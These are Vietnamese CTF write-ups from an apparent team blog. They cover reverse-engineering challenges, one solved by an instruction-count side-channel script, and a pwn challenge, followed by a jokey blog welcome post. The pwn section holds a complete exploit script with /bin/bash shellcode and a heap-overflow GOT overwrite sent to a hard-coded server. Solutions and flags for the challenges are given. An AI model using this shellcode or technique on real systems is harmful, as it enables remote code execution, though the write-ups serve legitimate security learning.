nếu [rbp-10h] ở không bị thay đổi thì đoạn code pseudo ntn:

[rbp-24h] = [dw_time+16]+1 = tháng
[rbp-20h] = [dw_time+12] = ngày
[rbp-1ch] = [dw_time+20] + 1900 = năm
if ( [rbp-24h] == 9 && [rbp-20h] == 10 && [rbp-1ch] == 2011 )
	good_boy
else
	bad_boy

thử đặt lại time là 10/9/2011 và run => still failed :wth:

giờ ta jump back từ đoạn compare trên đến ngay sau chỗ convert, patch những đoạn jump để bypass khoảng ở giữa và chạy lại 1 lần nữa

$ ./fin64
Oops..

Good bj, mình đoán flag nằm trong memory, thử trace dần vào good_boy

thì phát hiện ra cái này *byte_6c2070

fin64_5

next-challenge

--------------------------------------------------------------------------------------

RE 500 - cso

bài này thực sự không biết nên viết writeup như thế nào vì công nhận là nó khá bựa và cách làm cũng ngẫu hứng vãi nhái :3

sau hồi dịch mình chả biết nó là cái giống gì, có vẻ giống virtual machine nhưng cũng ko giống lắm =)), đại khái nó như này:

main:
	print(Bla bla bla)
	gets(st) #main input
	len_st = strlen(st)
	super = 0x24ae5af1 #first magic hex
	while True:
		A: 
			if super-a1>0: jump b1
		B: 
			if super-a2>0: jump b2
		C: 
			if super-a3>0: jump b3
		...
		V: 
			if super-an>0: jump bn
		X:
			super = a(n+1)
		Y:
			super = a(n+2)
		...
		Z:
			super = am
		quit:
			break
		dead: 
			puts("You are dead man")
			super = super_to_quit
			continue
		win: 
			puts("You are safe and live forever")
			super = super_to_quit
			continue
		check_len: 
			if len_st==0x1A: 
				super = super_to_stage2
			else:
				super = super_to_dead
			continue
		stage_2:
			#func_stage2 ở địa chỉ 0x00400ec0
			if func_stage2(st)==1: 
				super = super_to_win
			else:
				super=super_to_dead
			continue

#mấy số a1, a2, ...an, a(n+1), ... , am là magic const, ko biết có quy luật gì những mà nó đc build để tính toán hợp lí
#các jump b1, b2, b3, ... bn là nhãn của một trong mấy thằng A,B,C,...V, quit, dead, win, check_len, stage_2

			
def stage2(st):
	#cấu trúc đệ quy
	#vòng lặp tương tự main
	#có thêm 1 số sub function phụ

Không biết flag ở chỗ nào luôn, code follow control dựa vào mấy phép cộng của a(i), giờ tìm quy luật cho nó cũng đuối đơ. Có duy nhất 1 cái chắc chắn là len_st = 0x1A = 26 (!!!)

Sau nửa tiếng suy nghĩ, mình thấy khi input với len = 26 và len < 26 thì cảm giác debug lâu hơn. Suy nghĩ: Side channel dựa vào instruction count được không?

$ python -c "print 'a'*26" | ./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ~/Desktop/cso | cat inscount.out 
Count 123368

$ python -c "print 'a'*25" | ./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ~/Desktop/cso | cat inscount.out 
Count 123097

$ python -c "print 'a'*24" | ./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ~/Desktop/cso | cat inscount.out 
Count 123097

Bingo, chuẩn girl mất rồi, side channel bem lần lượt các char

import subprocess
import time

sam = "abcdefghijklmnopqrstuvwxyz"
sam += sam.upper()
sam += "0123456789_!,.{}"

#217826 SRRDRSSRSRRDDSSSRSSDSDDDSS

def insco(fl):
	fl += 'a'*(26-len(fl))
	open('hellyeah','wt').write(fl)
	subprocess.call("./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ../cso < hellyeah", shell=True)
	time.sleep(0.2)
	k = open("inscount.out").read().strip().split(' ')[1]
	print "-----", fl, k
	return int(k)

def dequy(fl):
	if len(fl)==26:
		print fl
		raw_input("<< Another result, enter for the next...")
	else:
		a = insco(fl + 'a')
		#Cho nay sample chi co 1 ki tu trong string "SRD" thoi (manual check), co the set sam = "SRD" side channel nhanh hon
		for c in sam:
			cou = insco(fl + c)
			if cou-a>400: dequy(fl + c)


dequy('')

=> Final SRRDRSSRSRRDDSSSRSSDSDDDSS. Không giống flag cho lắm :-ss

Input test lại vẫn "You are dead man". Wut dafuq, đúng quá rồi còn gì.
Check lại cái inscount thì thấy có sự chênh lệch rất lớn ins.
Có thể là những mini-sub trong stage2 (0x00400ec0)
Kiểm tra lần lượt từng mini-sub đó ta thấy có sub_400BD0 sử dụng biến global(s) chính là string input ban đầu?!?

cso_1

Đặt breakpoint ngay tại đó và input đúng như trên, sau 1 số lần trace thì ...

cso_2
Âu Mai Gót, call cái địa chỉ vừa trả về, không phải run shell thì là run cái gì nữa =))

Chuyển hướng sang disass con shell, tương tự 3 bài rồi

cso_3

move rất nhiều ASCII Char vào memory, ghép lại thì thấy đó là 1 chuỗi base32 😛

Hard time gone 😛

s = "MZWGCZ33NV4V6YZQNVYDINJVL4YTKX3VNYYXC5JTPU"
sam = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"

def tobin(t):
    st = bin(t).replace('0b','')
    st = '0'*(5-len(st)) + st
    return st

k = ''
for i in s:
    t = sam.find(i)
    print i, sam.find(i), tobin(t)
    k += tobin(t)

k = k[0:208]
print hex(int(k,2))[2:].replace('L','').decode('hex')

flag{my_c0mp455_15_un1qu3}

--------------------------------------------------------------------------------------

PWN 400 - Mental Note

bài này về cơ bản khá giống mixme

cấu trúc dữ liệu:

struct note{
	int size;
	note* next_note;
	note* prev_note;
	content[linh động]
}

và array_note[999] lưu địa chỉ con trỏ của mỗi note được thêm

có 3 loại note:

loại 0 : content 100 bytes
loại 1 : content 200 bytes
loại 2 : content 400 bytes

* add-note, người dùng nhập 1 loại note sau đó chương trình malloc 1 lượng bộ nhớ vừa đủ phần header+content size => new_note

new_note được insert vào array_note sau khi đã check-note (dựa vào note header) để tìm id phù hợp.

* edit-note, người dùng nhập id, loại note và read(note-id-content, size=note-type) mà ko check xem note ở id ấy có đúng loại không.
=> nếu note add vào là loại 0 mà khi edit với loại 1/2 thì sẽ overwrite được sang header note khác.

bằng cách này ta sẽ chỉnh phần header của note kế tiếp để khai thác lỗi check-note của add-note function.

Payload:

import socket, time

def send(s, m):
    print "[SEND]", m
    s.send(m)

def recv(s):
    t = s.recv(4096)
    print "[RECV]", t
    return t

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect (( "54.163.248.69",9004 ))

recv(s)
recv(s)

#Add 3 notes, Type 0
for i in range(3):
	send(s, "1\n")
	recv(s)
	send(s, "0\n")
	recv(s)

#Edit note id=2, Type=0, shellcode
send(s, "3\n")
recv(s)
send(s, "2\n")
recv(s)
send(s, "0\n")
recv(s)
#shell
shell = "\x6a\x0f\x58\x83\xe8\x04\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
send(s, "\x90"*20 + shell)
recv(s)

#Edit note id=0, Type=1, overwrite header and change g0t.plt
send(s, "3\n")
recv(s)
send(s, "0\n")
recv(s)
send(s, "1\n")
recv(s)
#magic bytes
send(s, (0x80-12)*'a' + "\x04\xc1\xeb\x0f\x1c\xb0\x04\x08")
recv(s)

#jump to shellcode by function was changed in g0t.plt
send(s, "1\n")
recv(s)
send(s, "0\n")
recv(s)

send(s,"cat flag.txt\n")
recv(s)

#flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}

s.close()

flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3} !!!

So long and deep, go get some sleep :'( . Chim!

]]>
259
Welcome to BabyPhD! https://babyphd.net/2015/01/01/welcome-to-babyphd/ Thu, 01 Jan 2015 14:15:26 +0000 https://babyphd.net/?p=203 Continue reading Welcome to BabyPhD! ]]> Đôi lúc tôi hay một mình

Tự hỏi rằng đời này có bao nhiêu ngày vui*

 

Các trang blog CTF nói chung thường có hiện tượng bong bóng như kiểu nhà đất Việt Nam thập niên hai ngàn. Ất min ban đầu mới lập cũng chịu khó đầu tư. Dần dần cơm áo gạo tiền và đủ thứ vớ vẩn sinh chán. Thêm nữa hậu duệ kém không kế tục được sự nghiệp nên hỏng cả. Thời còn mông muội, dân tình vào chơi ngõ hầu muốn được cái gì đó nhưng dần dà blog CTF đã không đáp ứng được với thời cuộc. Ngay đến cả thằng đầu xỏ ất min cũng bỏ mẹ qua facebook cầm kiếm nhựa chém nhau. Ấy vậy mà BabyPhD chúng tôi vẫn mạnh dạn mở blog CTF writeup. Ở xã hội thấy thịnh thì phù mà thấy suy thì nhổ có được những thánh thần rơi rớt lại những tính túy cuối cùng của các tay hacker mũ trắng thật là tự thấy mừng cho cộng đồng IT Việt vậy.

Để mở đầu cho chương trình nghệ thuật tấn công đến đâu viết lại tới đấy, chia sẻ chút kiến thức còm cõi cho đồng đạo security, chúng tôi xin hân hạnh khai trương blog BabyPhD với các thành viên trụ cột sau:

  • chuymichxinhdep: đã xinh đẹp lại còn học thức <3
  • yeuchimse: lời ít tình chi thít
  • peternguyen: anh hùng thời loạn
  • justcallmedude: gay kín không tên
  • antibkav: loại già có vợ nên luôn là thành viên bỏ đi của team, vớt vát cho nó phong phú
  • huyna: hiệp sĩ thoắt ẩn thoắt hiện, chỉ thấy xi nhan khi có bài pwn
  • chim: geohot của nhóm

(Một vài thành viên khác xin giấu tên, số thành viên liên tục cập nhật nếu các bạn apply tại  đây)

 

Xin chào thân ái và quyết thắng

- Chụy Mích

*Đời có bao nhiêu ngày vui - st:Châu Đăng Khoa

]]>
203